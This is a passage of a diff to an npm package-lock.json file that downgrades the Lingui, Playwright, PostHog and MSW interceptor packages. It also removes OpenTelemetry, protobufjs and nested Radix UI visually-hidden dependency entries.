       "peerDependencies": {
-        "@lingui/babel-plugin-lingui-macro": "5.9.0",
+        "@lingui/babel-plugin-lingui-macro": "5.7.0",
         "babel-plugin-macros": "2 || 3"
       },
       "peerDependenciesMeta": {
@@ -4987,9 +4970,9 @@
       }
     },
     "node_modules/@lingui/message-utils": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/message-utils/-/message-utils-5.9.0.tgz",
-      "integrity": "sha512-BL5MZt7yCLuyEbuIm+w0TZIZ/ctQOX5IO3yVOrWpM8L3rh2uP/MPDUKhGy8e/XPNMgBVFhlpos/tSzvdh03ErQ==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/message-utils/-/message-utils-5.7.0.tgz",
+      "integrity": "sha512-yJKzPjJCLz8EkjqExxEBrioiKZtgxgLubOwzjSiZ8n1omuoyeRAqdKkmeOP/fPW2QpkQv33qLqfLtBhrIVJkeg==",
       "license": "MIT",
       "dependencies": {
         "@messageformat/parser": "^5.0.0",
@@ -5000,21 +4983,21 @@
       }
     },
     "node_modules/@lingui/react": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/react/-/react-5.9.0.tgz",
-      "integrity": "sha512-3887EeVNwXZXWIMBpdziuNiSWtA1g2Kb8XLWOrIEJorAXOds3Oo+0NrTKWlBmIsUMmgw9SeK1e6RPZxeQk+B+g==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/react/-/react-5.7.0.tgz",
+      "integrity": "sha512-pz9Gh3JYe4KQTmgebjqUCwEYEsl4V0cwVXFo1jxXCESDc40cuOwGIkdHxj7kfBtfJBdsFSzAPs9UVDDd/Ovpzg==",
       "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.20.13",
-        "@lingui/core": "5.9.0"
+        "@lingui/core": "5.7.0"
       },
       "engines": {
         "node": ">=20.0.0"
       },
       "peerDependencies": {
-        "@lingui/babel-plugin-lingui-macro": "5.9.0",
+        "@lingui/babel-plugin-lingui-macro": "5.7.0",
         "babel-plugin-macros": "2 || 3",
-        "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+        "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
       },
       "peerDependenciesMeta": {
         "@lingui/babel-plugin-lingui-macro": {
@@ -5026,14 +5009,14 @@
       }
     },
     "node_modules/@lingui/vite-plugin": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/vite-plugin/-/vite-plugin-5.9.0.tgz",
-      "integrity": "sha512-qNr4UE/QZ36mo5+XVQ0hTWoQSIULoVQ2b1G+aNbGk6Z7olc8yYAtdytJyOCTEk9gCBeyMBTK7zonlxVngNsCfA==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/vite-plugin/-/vite-plugin-5.7.0.tgz",
+      "integrity": "sha512-Mdmq/WfhTzQ8Q5oL7cYoP2Nu7bBWlZmGlQL0+6Oeb2bgFbabWixcXuqVwGElPvR8PGwGwnZ2gXVs0Y9KdzBDaQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@lingui/cli": "5.9.0",
-        "@lingui/conf": "5.9.0"
+        "@lingui/cli": "5.7.0",
+        "@lingui/conf": "5.7.0"
       },
       "engines": {
         "node": ">=20.0.0"
@@ -5093,9 +5076,9 @@
       }
     },
     "node_modules/@mswjs/interceptors": {
-      "version": "0.41.2",
-      "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.41.2.tgz",
-      "integrity": "sha512-7G0Uf0yK3f2bjElBLGHIQzgRgMESczOMyYVasq1XK8P5HaXtlW4eQhz9MBL+TQILZLaruq+ClGId+hH0w4jvWw==",
+      "version": "0.40.0",
+      "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.40.0.tgz",
+      "integrity": "sha512-EFd6cVbHsgLa6wa4RljGj6Wk75qoHxUSyc5asLyyPSyuhIcdS2Q3Phw6ImS1q+CkALthJRShiYfKANcQMuMqsQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -5177,252 +5160,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/@opentelemetry/api": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.0.tgz",
-      "integrity": "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==",
-      "license": "Apache-2.0",
-      "engines": {
-        "node": ">=8.0.0"
-      }
-    },
-    "node_modules/@opentelemetry/api-logs": {
-      "version": "0.208.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.208.0.tgz",
-      "integrity": "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/api": "^1.3.0"
-      },
-      "engines": {
-        "node": ">=8.0.0"
-      }
-    },
-    "node_modules/@opentelemetry/core": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz",
-      "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.0.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/exporter-logs-otlp-http": {
-      "version": "0.208.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.208.0.tgz",
-      "integrity": "sha512-jOv40Bs9jy9bZVLo/i8FwUiuCvbjWDI+ZW13wimJm4LjnlwJxGgB+N/VWOZUTpM+ah/awXeQqKdNlpLf2EjvYg==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/api-logs": "0.208.0",
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/otlp-exporter-base": "0.208.0",
-        "@opentelemetry/otlp-transformer": "0.208.0",
-        "@opentelemetry/sdk-logs": "0.208.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": "^1.3.0"
-      }
-    },
-    "node_modules/@opentelemetry/otlp-exporter-base": {
-      "version": "0.208.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.208.0.tgz",
-      "integrity": "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/otlp-transformer": "0.208.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": "^1.3.0"
-      }
-    },
-    "node_modules/@opentelemetry/otlp-transformer": {
-      "version": "0.208.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.208.0.tgz",
-      "integrity": "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/api-logs": "0.208.0",
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/resources": "2.2.0",
-        "@opentelemetry/sdk-logs": "0.208.0",
-        "@opentelemetry/sdk-metrics": "2.2.0",
-        "@opentelemetry/sdk-trace-base": "2.2.0",
-        "protobufjs": "^7.3.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": "^1.3.0"
-      }
-    },
-    "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz",
-      "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/resources": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.4.0.tgz",
-      "integrity": "sha512-RWvGLj2lMDZd7M/5tjkI/2VHMpXebLgPKvBUd9LRasEWR2xAynDwEYZuLvY9P2NGG73HF07jbbgWX2C9oavcQg==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.4.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/resources/node_modules/@opentelemetry/core": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.4.0.tgz",
-      "integrity": "sha512-KtcyFHssTn5ZgDu6SXmUznS80OFs/wN7y6MyFRRcKU6TOw8hNcGxKvt8hsdaLJfhzUszNSjURetq5Qpkad14Gw==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.0.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-logs": {
-      "version": "0.208.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.208.0.tgz",
-      "integrity": "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/api-logs": "0.208.0",
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/resources": "2.2.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.4.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz",
-      "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-metrics": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz",
-      "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/resources": "2.2.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.9.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz",
-      "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-trace-base": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz",
-      "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/resources": "2.2.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/sdk-trace-base/node_modules/@opentelemetry/resources": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz",
-      "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "@opentelemetry/core": "2.2.0",
-        "@opentelemetry/semantic-conventions": "^1.29.0"
-      },
-      "engines": {
-        "node": "^18.19.0 || >=20.6.0"
-      },
-      "peerDependencies": {
-        "@opentelemetry/api": ">=1.3.0 <1.10.0"
-      }
-    },
-    "node_modules/@opentelemetry/semantic-conventions": {
-      "version": "1.38.0",
-      "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.38.0.tgz",
-      "integrity": "sha512-kocjix+/sSggfJhwXqClZ3i9Y/MI0fp7b+g7kCRm6psy2dsf8uApTRclwG18h8Avm7C9+fnt+O36PspJ/OzoWg==",
-      "license": "Apache-2.0",
-      "engines": {
-        "node": ">=14"
-      }
-    },
     "node_modules/@pkgjs/parseargs": {
       "version": "0.11.0",
       "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
@@ -5434,9 +5171,9 @@
       }
     },
     "node_modules/@pkgr/core": {
-      "version": "0.2.9",
-      "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.9.tgz",
-      "integrity": "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA==",
+      "version": "0.2.4",
+      "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.4.tgz",
+      "integrity": "sha512-ROFF39F6ZrnzSUEmQQZUar0Jt4xVoP9WnDRdWwF4NNcXs3xBTLgBUDoOwW141y1jP+S8nahIbdxbFC7IShw9Iw==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -5447,13 +5184,13 @@
       }
     },
     "node_modules/@playwright/test": {
-      "version": "1.58.2",
-      "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.58.2.tgz",
-      "integrity": "sha512-akea+6bHYBBfA9uQqSYmlJXn61cTa+jbO87xVLCWbTqbWadRVmhxlXATaOjOgcBaWU4ePo0wB41KMFv3o35IXA==",
+      "version": "1.57.0",
+      "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.57.0.tgz",
+      "integrity": "sha512-6TyEnHgd6SArQO8UO2OMTxshln3QMWBtPGrOCgs3wVEmQmwyuNtB10IZMfmYDE0riwNR1cu4q+pPcxMVtaG3TA==",
       "dev": true,
       "license": "Apache-2.0",
       "dependencies": {
-        "playwright": "1.58.2"
+        "playwright": "1.57.0"
       },
       "bin": {
         "playwright": "cli.js"
@@ -5473,18 +5210,18 @@
       }
     },
     "node_modules/@posthog/core": {
-      "version": "1.20.1",
-      "resolved": "https://registry.npmjs.org/@posthog/core/-/core-1.20.1.tgz",
-      "integrity": "sha512-uoTmWkYCtLYFpiK37/JCq+BuCA/OZn1qQZn5cPv1EEKt3ni3Zgg48xWCnSEyGFl5KKSXlfCruiRTwnbAtCgrBA==",
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@posthog/core/-/core-1.9.1.tgz",
+      "integrity": "sha512-kRb1ch2dhQjsAapZmu6V66551IF2LnCbc1rnrQqnR7ArooVyJN9KOPXre16AJ3ObJz2eTfuP7x25BMyS2Y5Exw==",
       "license": "MIT",
       "dependencies": {
         "cross-spawn": "^7.0.6"
       }
     },
     "node_modules/@posthog/types": {
-      "version": "1.342.1",
-      "resolved": "https://registry.npmjs.org/@posthog/types/-/types-1.342.1.tgz",
-      "integrity": "sha512-bcyBdO88FWTkd5AVTa4Nu8T7RfY0WJrG7WMCXum/rcvNjYhS3DmOfKf8o/Bt56vA3J3yeU0vbgrmltYVoTAfaA==",
+      "version": "1.316.1",
+      "resolved": "https://registry.npmjs.org/@posthog/types/-/types-1.316.1.tgz",
+      "integrity": "sha512-rh8GSOnmnwd0fUIBYzQcXt4WYXMg9QPkY0tE46K0eneWYVyqNYXFXzcdf2U37g+ZYNiBq9ubLeCD7h0C0MDJgw==",
       "license": "MIT"
     },
     "node_modules/@protobuf-ts/protoc": {
@@ -5496,70 +5233,6 @@
         "protoc": "protoc.js"
       }
     },
-    "node_modules/@protobufjs/aspromise": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz",
-      "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/base64": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz",
-      "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/codegen": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.4.tgz",
-      "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/eventemitter": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz",
-      "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/fetch": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz",
-      "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==",
-      "license": "BSD-3-Clause",
-      "dependencies": {
-        "@protobufjs/aspromise": "^1.1.1",
-        "@protobufjs/inquire": "^1.1.0"
-      }
-    },
-    "node_modules/@protobufjs/float": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz",
-      "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/inquire": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.0.tgz",
-      "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/path": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz",
-      "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/pool": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz",
-      "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/@protobufjs/utf8": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.0.tgz",
-      "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==",
-      "license": "BSD-3-Clause"
-    },
     "node_modules/@radix-ui/colors": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/@radix-ui/colors/-/colors-3.0.0.tgz",
@@ -5600,29 +5273,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-accessible-icon/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-accordion": {
       "version": "1.2.12",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.12.tgz",
@@ -6357,29 +6007,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-navigation-menu/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-one-time-password-field": {
       "version": "0.1.8",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-one-time-password-field/-/react-one-time-password-field-0.1.8.tgz",
@@ -6825,38 +6452,15 @@
       "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
       "license": "MIT",
       "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.2"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-select/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
+        "@radix-ui/react-compose-refs": "1.1.2"
       },
       "peerDependencies": {
         "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
       },
       "peerDependenciesMeta": {
         "@types/react": {
           "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
         }
       }
     },
@@ -7050,29 +6654,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-toast/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-toggle": {
       "version": "1.1.10",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.10.tgz",
@@ -7231,29 +6812,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-use-callback-ref": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz",
@@ -7409,35 +6967,12 @@
       }
     },
     "node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.4.tgz",
-      "integrity": "sha512-kaeiyGCe844dkb9AVF+rb4yTyb1LiLN/e3es3nLiRyN4dC8AduBYPMnnNlDjX2VDOcvDEiPnRNMJeWCfsX0txg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.4"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
